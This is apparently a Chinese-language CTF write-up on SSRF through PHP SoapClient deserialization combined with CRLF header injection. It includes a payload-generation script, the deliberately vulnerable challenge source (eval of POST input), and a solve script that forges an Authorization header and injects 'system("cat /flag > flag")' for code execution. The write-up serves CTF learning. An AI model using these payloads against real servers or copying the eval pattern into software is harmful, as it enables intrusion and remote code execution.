ssrf+crlf攻击
介绍
webService三要素:
- wsdl:用来描述如何访问具体的接口
- uddi:用来管理、分发、查询webservice
- soap:连接web服务或客户端和服务器之间的端口,使用http作为底层通讯协议,xml作为数据传送的格式
php中的SoapClient类
php的soap扩展可以用来提供和使用webservice,这个扩展实现了6哥类,其中soapclient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类也有反序列化常用到的__call魔术方法
构造函数
1
2
3public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
wsdl:用来指定是否是wsdl模式
第二个参数是一个数组:如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必需设置location和url选项,其中location是要奖请求发送到soap服务器的url,而uri是soap服务的目标命名空间ssrf攻击
如果知道这两个参数,就可以构造出ssrf的paylaod了,我们可以设置第一个参数为null,第二个位置的参数是目标url,当进行反序列化的时候,如果执行力一个SoapClient没有的成员函数,会自动调用该类的__call方法,然后向目标url发送一个soap请求,那么我们可以通过控制url来实现注入
1
2
3
4<?php
$a = new SoapClient(null, array('location' => "http://xxx.xxx.xxx", 'uri'=> "123"));
echo serialize($a);
?>
crlf(回车+换行)注入
在http协议中,http头部和http body是用两个crlf分隔的,浏览器就是根据这两个crlf来取出http内容并显示出来的。所以一旦我们可以控制http请求头中的字符,注入一些恶意的换行,这样我们就可以注入一些会话cookie或者html代码
ssrf+crlf攻击内网
这两个漏洞的配合使用:当我们可以从外网调用到soap的api,而攻击的目标是在内网的时候,那么我们就可以利用SoapClient进行ssrf攻击内网,然后配合crlf构造post请求来增加我们的攻击面
该配合漏洞产生的原理:
可以看到options参数中还有一个请求头ua头,可以运行我们自己设置的us的值,那么当我们可以控制ua的值的时候,我们就可以构造一个post请求,因为Content-Type为和Content-Length都在User-Agent之下
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$target = 'url/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
例题
极客大挑战2024-ez_SSRF
-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37#calculator.php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";
function check($auth) {
global $admin,$adminpass;
$auth = str_replace('Basic ', '', $auth);
$auth = base64_decode($auth);
list($username, $password) = explode(':', $auth);
echo $username."<br>".$password;
if($username===$admin && $password===$adminpass) {
return 1;
}else{
return 2;
}
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
if (check($auth)===2) {
if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
die("Invalid expression");
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
$result=eval("return $expression;");
file_put_contents("result",$result);
}
}else{
exit("Hacker");
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24#h4d333333.php
error_reporting(0);
if(!isset($_POST['user'])){
$user="stranger";
}else{
$user=$_POST['user'];
}
if (isset($_GET['location'])) {
$location=$_GET['location'];
$client=new SoapClient(null,array(
"location"=>$location,
"uri"=>"hahaha",
"login"=>"guest",
"password"=>"gueeeeest!!!!",
"user_agent"=>$user."'s Chrome"));
$client->calculator();
echo file_get_contents("result");
}else{
echo "Please give me a location";
} 在calculator.php里面有一个REMOTE_ADDR,这个是无法通过http请求头伪造绕过的,所以我们通过h4d333333.php去访问calculator.php,那么这里可以想到利用SoapClient类进行SSRF+CRLF攻击
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$target = 'http://xxx/xxx.php';
$post_string = 'expression=system("cat /flag > flag");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'AUTHORIZATION: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
-